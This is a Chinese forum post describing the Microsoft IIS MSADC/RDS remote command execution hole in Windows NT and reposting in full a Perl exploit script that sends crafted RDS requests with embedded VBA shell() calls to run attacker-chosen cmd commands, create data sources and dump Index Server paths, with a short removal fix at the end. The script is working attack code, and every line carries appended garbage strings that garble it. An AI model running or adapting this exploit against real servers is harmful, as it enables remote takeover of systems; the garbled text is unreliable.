社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 167619阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) X$;&Mdo.  
?=ffv]v|  
涉及程序: gW,hI>  
Microsoft NT server -72EXO=|  
TF%Xb>jy[  
描述: cGiL9|k  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 -OSj<m<  
D#G%WT/"  
详细: 2j: 0!%  
如果你没有时间读详细内容的话,就删除: > 1(J  
c:\Program Files\Common Files\System\Msadc\msadcs.dll @AF<Xp{  
有关的安全问题就没有了。 <|3%}?  
Z,/K$;YWo  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 BY.k.]/  
e{7\pQK  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 T8|5%Y  
关于利用ODBC远程漏洞的描述,请参看: Kp6 @?  
D8<C7  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm fz\Q>u'T  
UXlZI'|He  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 }b1FB<e]  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ":_II[FPY  
-?-XO<I  
这里不再论述。 r|=1{N x  
bx(@ fl:m  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: QXZyiJX}  
`XhH{*Q"X  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset `Bw]PO  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! "bIb?e2h9G  
Bl*}*SPU  
J\r\_P@;c  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ]bJz-6u#:  
+U2lwd!j  
#!perl 1!KROes4  
# W;'fAohr  
# MSADC/RDS 'usage' (aka exploit) script Oj;*Gi9E  
# {YgU23;q  
# by rain.forest.puppy FDQ=$w}' >  
# bDM},(  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me R>* z8n  
# beta test and find errors! a(|6)w-  
Td'Mc-/  
use Socket; use Getopt::Std; Cjx4vP  
getopts("e:vd:h:XR", \%args); _Xt/U>N  
Xj 1Oxm 42  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 4LKpEl.=  
>[AmIYg  
if (!defined $args{h} && !defined $args{R}) { (T_-`N|  
print qq~ @"@|O>KJ  
Usage: msadc.pl -h <host> { -d <delay> -X -v } +Yc^w5 !(  
-h <host> = host you want to scan (ip or domain) s`jlE|jtN  
-d <seconds> = delay between calls, default 1 second n.&7lg^X  
-X = dump Index Server path table, if available {+WBi(=W  
-v = verbose  E.h  
-e = external dictionary file for step 5 pM?~AYWb  
PjeI&@  
Or a -R will resume a command session TKR#YJQ?K  
$<v4c5r]O  
~; exit;} ^e8xg=8(  
Jt=- >  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; `qc"JB  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ~t)cbF(UO  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ,*J@ic7"  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); P |t yyjO  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} {  c#US  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Y(g_h:lf,]  
CefFUqo4  
if (!defined $args{R}){ $ret = &has_msadc; Q>,&@  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} z2iMpZ  
t1Fqq4wRi  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ^eh.Iml'@  
. "cmd /c "; 7GOBb|  
$in=<STDIN>; chomp $in; ?4bYb]8Z  
$command="cmd /c " . $in ; MY,~leP&  
rGP;0KtQ  
if (defined $args{R}) {&load; exit;} DK74s  
?6CLUu|7n  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; t`Kpbfk  
&try_btcustmr; ga;nM#/  
9;+&}:IVS  
print "\nStep 2: Trying to make our own DSN..."; l+9RPJD/:  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; mD'nF1o Ly  
#<xFO^TB  
print "\nStep 3: Trying known DSNs..."; b*n3Fej  
&known_dsn; @P7'MiP]K  
dPEDsG0$a  
print "\nStep 4: Trying known .mdbs..."; N;3!oo4  
&known_mdb; Mt4  
,Vi_~b  
if (defined $args{e}){ q-(~w!e  
print "\nStep 5: Trying dictionary of DSN names..."; 6\.g,>   
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Qn$'bK2V  
JTKS5 r7?  
print "Sorry Charley...maybe next time?\n"; 4;6"I2;zfG  
exit; *:CTIV5N0  
)Z:-qH  
############################################################################## tx5bmF;b)  
bo=H-d|  
sub sendraw { # ripped and modded from whisker }!iopu  
sleep($delay); # it's a DoS on the server! At least on mine... Q#%LIkeq  
my ($pstr)=@_; jr`T6!\  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || w5i*pOG)Z  
die("Socket problems\n"); BbX$R`f  
if(connect(S,pack "SnA4x8",2,80,$target)){ t\/H.Hb  
select(S); $|=1; &}u_e`A  
print $pstr; my @in=<S>; 4BMu0["6|s  
select(STDOUT); close(S); D+!T5)>(  
return @in; X?haHM#]  
} else { die("Can't connect...\n"); }} /RB%m8@;  
%`bs<ZWT  
############################################################################## %Ik5|\ob?  
JY c:@\   
sub make_header { # make the HTTP request ;j T{< Y  
my $msadc=<<EOT 12 )  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 .u A O.<  
User-Agent: ACTIVEDATA %`$bQU  
Host: $ip >J9Qr#=H2  
Content-Length: $clen l iY/BkpH  
Connection: Keep-Alive @g[ijs\  
Ov(k:"N  
ADCClientVersion:01.06 ]4t1dVD  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Xn"#Zy_  
y;ey(  
--!ADM!ROX!YOUR!WORLD! c\. )vH  
Content-Type: application/x-varg F7}yt  
Content-Length: $reqlen Ue9d0#9  
|}77'w :  
EOT '@24<T]  
; $msadc=~s/\n/\r\n/g; bD v& ;Z  
return $msadc;} I]HYqI  
Oyb9 ql^  
############################################################################## NkUY_rKPb  
_oZ3n2v}@  
sub make_req { # make the RDS request !IJ YaQ6z  
my ($switch, $p1, $p2)=@_; 0Y0z7A:  
my $req=""; my $t1, $t2, $query, $dsn; IYe[IHny1  
m<n+1  
if ($switch==1){ # this is the btcustmr.mdb query s3Bo'hGxG  
$query="Select * from Customers where City=" . make_shell(); hzAuj0-A  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . x<t ?Yc9  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} F4=X(P_6  
-qSGa;PJ  
elsif ($switch==2){ # this is general make table query \)*\$I\]  
$query="create table AZZ (B int, C varchar(10))"; k6 OO\=  
$dsn="$p1";} Y3|_&\ v6  
G$)q% b;Lz  
elsif ($switch==3){ # this is general exploit table query }Q[U4G  
$query="select * from AZZ where C=" . make_shell(); 5#z7Hj&w  
$dsn="$p1";} V~Guw[RA  
+^J&x>5  
elsif ($switch==4){ # attempt to hork file info from index server `_&vvJPn@!  
$query="select path from scope()"; 1&h\\&ic  
$dsn="Provider=MSIDXS;";} nVpDjUpN  
wI7.M Gt  
elsif ($switch==5){ # bad query )[99SM   
$query="select"; Z2;~{$&M+  
$dsn="$p1";} FS7D  
ZHRMW'Ne  
$t1= make_unicode($query); 3Q&@l49q  
$t2= make_unicode($dsn); Bz{"K  
$req = "\x02\x00\x03\x00"; /?>W\bP<  
$req.= "\x08\x00" . pack ("S1", length($t1)); An]Vx<PD  
$req.= "\x00\x00" . $t1 ;  <}^p5|  
$req.= "\x08\x00" . pack ("S1", length($t2)); XcbEh  
$req.= "\x00\x00" . $t2 ; YPs9Pqkn  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ?5G; =#I  
return $req;} 2U R1T~r  
 v?d`fd  
############################################################################## 9QD+  
4[Ko|  
sub make_shell { # this makes the shell() statement ,*[N_[  
return "'|shell(\"$command\")|'";} g6gwNC:aF  
KsTE)@ F:  
############################################################################## f. h3:_r  
"MPS&OK  
sub make_unicode { # quick little function to convert to unicode HH3Z?g  
my ($in)=@_; my $out; a U<+ `  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 8VpmcGvc3  
return $out;} ^S|}<6~6b  
M)v='O<H8  
############################################################################## [$]-W$j+  
TCgW^iu  
sub rdo_success { # checks for RDO return success (this is kludge) RdjoVCf  
my (@in) = @_; my $base=content_start(@in); \+ Ese-la  
if($in[$base]=~/multipart\/mixed/){ |]HA@7B  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} +Lr`-</VF  
return 0;} Eg4&D4TG p  
fDXTedrG/  
############################################################################## e ?Jgk$"  
d_[ zt)  
sub make_dsn { # this makes a DSN for us &?j\=%  
my @drives=("c","d","e","f"); M?m@o1\;W  
print "\nMaking DSN: "; do l8O  
foreach $drive (@drives) { t ,EMyZ  
print "$drive: "; Y6jgAq  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . i:&$I=  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" e=!sMWx6  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 6/0bis H  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 9*s:Vff{  
return 0 if $2 eq "404"; # not found/doesn't exist +wEsfYW  
if($2 eq "200") { nGDY::nUE  
foreach $line (@results) { 1O2V!?P  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}  ;t/KF"  
} return 0;} Lq#!}QcW=  
CQ{pv3)  
############################################################################## M>*xbBl  
s?9`dv} P  
sub verify_exists { \Jwc[R&x  
my ($page)=@_; :@Ml-ZE  
my @results=sendraw("GET $page HTTP/1.0\n\n"); nx!+: P ,  
return $results[0];} gP!k[E ,Q8  
Jg&f.  
############################################################################## U*BI/wZ  
$GD Q1&Z  
sub try_btcustmr { wO]H+t  
my @drives=("c","d","e","f"); us U6,  
my @dirs=("winnt","winnt35","winnt351","win","windows"); %mS>v|  
iML?`%/vN  
foreach $dir (@dirs) { 'kJyE9*xU.  
print "$dir -> "; # fun status so you can see progress K7,Sr1O `  
foreach $drive (@drives) { y+' ,jM  
print "$drive: "; # ditto ( _MY;S  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ]0")iY_  
$reqlenlen=length( "$reqlen" ); A*kN I  
$clen= 206 + $reqlenlen + $reqlen; *"V) h I5  
u&j_;Y!6  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); $b )k  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ] $F%  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} uOx"oR|  
BWkTQd<t  
############################################################################## z|<?=c2P  
^_=bssaOd  
sub odbc_error { )SaMfP1=v  
my (@in)=@_; my $base; &'m&'wDt:  
my $base = content_start(@in); Tog'3k9Uw  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ka$la;e3  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 1/=6s5vS}  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; e=ry_@7  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 0J .]`kR  
return $in[$base+4].$in[$base+5].$in[$base+6];} |-]'~ @~  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; !3ji]q;uF  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . c`UizZ  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} =_$Hn>vO  
4@jX{{^6%  
############################################################################## Upc_"mkI.  
&8JK^zQq  
sub verbose { : TP\pH7E  
my ($in)=@_; 7! /+[G  
return if !$verbose; rL/H{.@$`  
print STDOUT "\n$in\n";} =pb ru=/  
gS!zaD7Nr  
############################################################################## !!)NER-dv  
=BO>Bi&&  
sub save { :f0#4'f  
my ($p1, $p2, $p3, $p4)=@_; vSo,,~ F  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; C!|Yz=e  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; fy>~ GFk(  
close OUT;} WS\Ir-B  
j HEt   
############################################################################## m :2A[H+  
p|w0 i[hc  
sub load { oUL4l=dj.  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; rotu#?B  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); CE|rn8MB  
@p=<IN>; close(IN); Lr*\LP6jx3  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); [$`%ve  
$target= inet_aton($ip) || die("inet_aton problems"); a6"-,Kg  
print "Resuming to $ip ..."; $nNCBC=  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; T:*l+<?  
if($p[1]==1) { j;EH[3  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; }(9ZME<(  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ` c"  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ^(Wu$\SA  
if (rdo_success(@results)){print "Success!\n";} Upz?x{>x  
else { print "failed\n"; verbose(odbc_error(@results));}} CTQJ=R"  
elsif ($p[1]==3){ ~ L"?C  
if(run_query("$p[3]")){  =tc!"{  
print "Success!\n";} else { print "failed\n"; }} )< p ~  
elsif ($p[1]==4){  ^]?ju L  
if(run_query($drvst . "$p[3]")){ 2k^'}7G%  
print "Success!\n"; } else { print "failed\n"; }} |Zdl[|kX  
exit;} }qBmt>#  
5I/lFoy7  
############################################################################## fN6n2*wr(  
"Ve9\$_s  
sub create_table { $-paYQ4  
my ($in)=@_; 1H8/b D  
$reqlen=length( make_req(2,$in,"") ) - 28; di37   
$reqlenlen=length( "$reqlen" ); 1YtK+,mz  
$clen= 206 + $reqlenlen + $reqlen; BR:Mcc  
my @results=sendraw(make_header() . make_req(2,$in,"")); M[QQi2:&  
return 1 if rdo_success(@results); ]&X}C{v)G  
my $temp= odbc_error(@results); verbose($temp); v4, Dt  
return 1 if $temp=~/Table 'AZZ' already exists/; 9u%(9Ae  
return 0;} H`rd bE  
(btm g<WT"  
############################################################################## _P*QX  
wv ^n#  
sub known_dsn { ~,.;2K73  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go #g<6ISuf  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", k&17 (Tv$  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", P[tYu:  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); TrBW0Bn>p  
U|x#'jGo'  
foreach $dSn (@dsns) { [gj>ey8T  
print "."; @]Lu"h#u=  
next if (!is_access("DSN=$dSn")); mB"1QtD  
if(create_table("DSN=$dSn")){ 1o?uf,H7O  
print "$dSn successful\n"; ;*WG9Y(W  
if(run_query("DSN=$dSn")){ 6i@* L\ Dl  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { \;JZt[  
print "Something's borked. Use verbose next time\n";}}} print "\n";} } g%v<'K  
<T]ey  
############################################################################## "egpc*|]  
^%!#Q].  
sub is_access { y2=yh30L0E  
my ($in)=@_; G"h}6Za;DO  
$reqlen=length( make_req(5,$in,"") ) - 28; Nt/hF>"7  
$reqlenlen=length( "$reqlen" ); S q{@4F}d  
$clen= 206 + $reqlenlen + $reqlen; -_XTy!I  
my @results=sendraw(make_header() . make_req(5,$in,"")); 5<YL^m{/L  
my $temp= odbc_error(@results); tTWEhHQ`  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 'UM *7  
return 0;} .h(iyCxP  
[pInF Qh6  
############################################################################## *D.Ajd.G  
^9kx3Pw?8  
sub run_query { ',/2J0_  
my ($in)=@_; bAwKmk9C  
$reqlen=length( make_req(3,$in,"") ) - 28; ~0@fK<C)O  
$reqlenlen=length( "$reqlen" ); o7@C$R_#  
$clen= 206 + $reqlenlen + $reqlen; hw(\3h()  
my @results=sendraw(make_header() . make_req(3,$in,"")); [2E(3`-u  
return 1 if rdo_success(@results); c=X+uO-  
my $temp= odbc_error(@results); verbose($temp); F~eY'~&H}  
return 0;} (e0(GOqf4  
aemi;61T\  
############################################################################## Ov ^##E  
7*"Jx}eM  
sub known_mdb { "p7nngn~  
my @drives=("c","d","e","f","g"); _ j`tR:  
my @dirs=("winnt","winnt35","winnt351","win","windows"); YoBe!-E  
my $dir, $drive, $mdb; v*%52_   
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ESYF4-d+  
V@[C=K  
# this is sparse, because I don't know of many {Wu[e,p  
my @sysmdbs=( "\\catroot\\icatalog.mdb", *QV"o{V  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 2t PfIg  
"\\system32\\certmdb.mdb", {Ay dt8  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ~9E_L?TW*  
D~#%^a+Aq_  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", [:cvy[}v@  
"\\cfusion\\cfapps\\forums\\forums_.mdb", =E<H_cUS  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", }pIn3B)  
"\\cfusion\\cfapps\\security\\realm_.mdb", D <R_eK  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", G? XS-oSv  
"\\cfusion\\database\\cfexamples.mdb", ^3 9lUKL  
"\\cfusion\\database\\cfsnippets.mdb", ,[)l>!0\H  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ~?FhQd\Q  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ?{e}ouKYX1  
"\\cfusion\\brighttiger\\database\\cleam.mdb", g5lb3`a3  
"\\cfusion\\database\\smpolicy.mdb", +@~WKa  
"\\cfusion\\database\cypress.mdb", m(*rMO>_  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", q=Vh"]0g  
"\\website\\cgi-win\\dbsample.mdb", ixSr*+  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", =*"8N-FU  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ~$J(it-a  
); #these are just ~UZ3 lN\E  
foreach $drive (@drives) { &*%x]fQ@  
foreach $dir (@dirs){ tW/g0lC%  
foreach $mdb (@sysmdbs) { 8|)^m[c&  
print "."; @XXPJq;J  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ WgqSw%:$H  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; m\X\Xp~A  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ D>-r `  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; -0x Q'1I  
} else { print "Something's borked. Use verbose next time\n"; }}}}} x7U=1y(  
XbB(<\0+  
foreach $drive (@drives) { iER@_?  
foreach $mdb (@mdbs) { p@nj6N.--  
print "."; a4*976~![  
if(create_table($drv . $drive . $dir . $mdb)){ p6R+t]oH  
print "\n" . $drive . $dir . $mdb . " successful\n"; mO;QT  
if(run_query($drv . $drive . $dir . $mdb)){ N+@ Ff3M  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 6-fv<Pn  
} else { print "Something's borked. Use verbose next time\n"; }}}} )*>wa%[-q  
} /Pkz3(1  
. ump? M  
############################################################################## &i(Ip'r  
KE@+I.x  
sub hork_idx { 5a$EXV  
print "\nAttempting to dump Index Server tables...\n"; [`t ;or  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; C5Q!_x(  
$reqlen=length( make_req(4,"","") ) - 28; )iQ^HZ  
$reqlenlen=length( "$reqlen" ); Dws) 4hH  
$clen= 206 + $reqlenlen + $reqlen; yV )fJ_  
my @results=sendraw2(make_header() . make_req(4,"","")); uVCH<6Cp  
if (rdo_success(@results)){ 4P k%+l  
my $max=@results; my $c; my %d; W>C?a=r~  
for($c=19; $c<$max; $c++){ ?'z/S5&j  
$results[$c]=~s/\x00//g; X<$Tn60,  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; @,TIw[p  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; jD6HCIjd'  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ]i$y;]f  
$d{"$1$2"}="";} :sJ7Wok6~  
foreach $c (keys %d){ print "$c\n"; } VMRfDaO9  
} else {print "Index server doesn't seem to be installed.\n"; }} !>n!Q*\(Ov  
b4i=%]v8  
############################################################################## hdH z", )  
1o%#kf  
sub dsn_dict {  3Iv^  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); KF_fz   
while(<IN>){ eIY`RMo (  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; |HD>m'e  
next if (!is_access("DSN=$dSn")); i7XY3yhC  
if(create_table("DSN=$dSn")){ YWl#!"-  
print "$dSn successful\n"; i[IFD]Xy!j  
if(run_query("DSN=$dSn")){ Lo{wTYt:J  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ,"(G  
print "Something's borked. Use verbose next time\n";}}} J<QZ)<T,&  
print "\n"; close(IN);} TA-2{=8  
:LY.C<8  
############################################################################## JM|HnyI  
k`8O/J  
sub sendraw2 { # ripped and modded from whisker t4_yp_  
sleep($delay); # it's a DoS on the server! At least on mine... ?J2A1iuq3  
my ($pstr)=@_; kt2_WW[  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Wvf>5g)?  
die("Socket problems\n"); tfGs| x  
if(connect(S,pack "SnA4x8",2,80,$target)){ t.28IHJ  
print "Connected. Getting data"; 7,+eG">0  
open(OUT,">raw.out"); my @in; 4k<o  
select(S); $|=1; print $pstr; vS>'LX  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} kg]6q T;Y  
close(OUT); select(STDOUT); close(S); return @in; (yq e 4  
} else { die("Can't connect...\n"); }} ZyUcL_   
z_ $c_J  
############################################################################## g2|Myz)  
<J&S[`U!  
sub content_start { # this will take in the server headers f47]gtB-  
my (@in)=@_; my $c; EVX3uC}{  
for ($c=1;$c<500;$c++) { ju{Y6XJ)  
if($in[$c] =~/^\x0d\x0a/){ B-rE8 \  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } b?i+nh qI  
else { return $c+1; }}} CvY+b^;  
return -1;} # it should never get here actually g %f5hy  
+M0pmK!  
############################################################################## ca_mift  
6WY/[TC-  
sub funky { RhE~-b[X  
my (@in)=@_; my $error=odbc_error(@in); Ik0g(-d  
if($error=~/ADO could not find the specified provider/){ (?|M'gZ  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; p"ytt|H  
exit;} aV'bI  
if($error=~/A Handler is required/){ ;t{q]"? W  
print "\nServer has custom handler filters (they most likely are patched)\n"; o6[.$C  
exit;} )@N d3Z  
if($error=~/specified Handler has denied Access/){ ZZT #V%Q=u  
print "\nServer has custom handler filters (they most likely are patched)\n"; Jp=fLo 9  
exit;}} +lx& $mr?  
bqcCA9 1  
############################################################################## QhZg{v[d  
l*1|B3#m!  
sub has_msadc { 1hG#  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 0kkDlWkzo  
my $base=content_start(@results); H$h#n~W~  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); R@o&c%K"  
return 0;} xqG<R5k>>  
a `R%\@1  
######################## Al-`}g+^  
FJ;I1~??  
h:?^0b!@  
解决方案: U] LDi8  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 5'} V`?S  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 OEW'bT)  
Og\k5.! ,  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八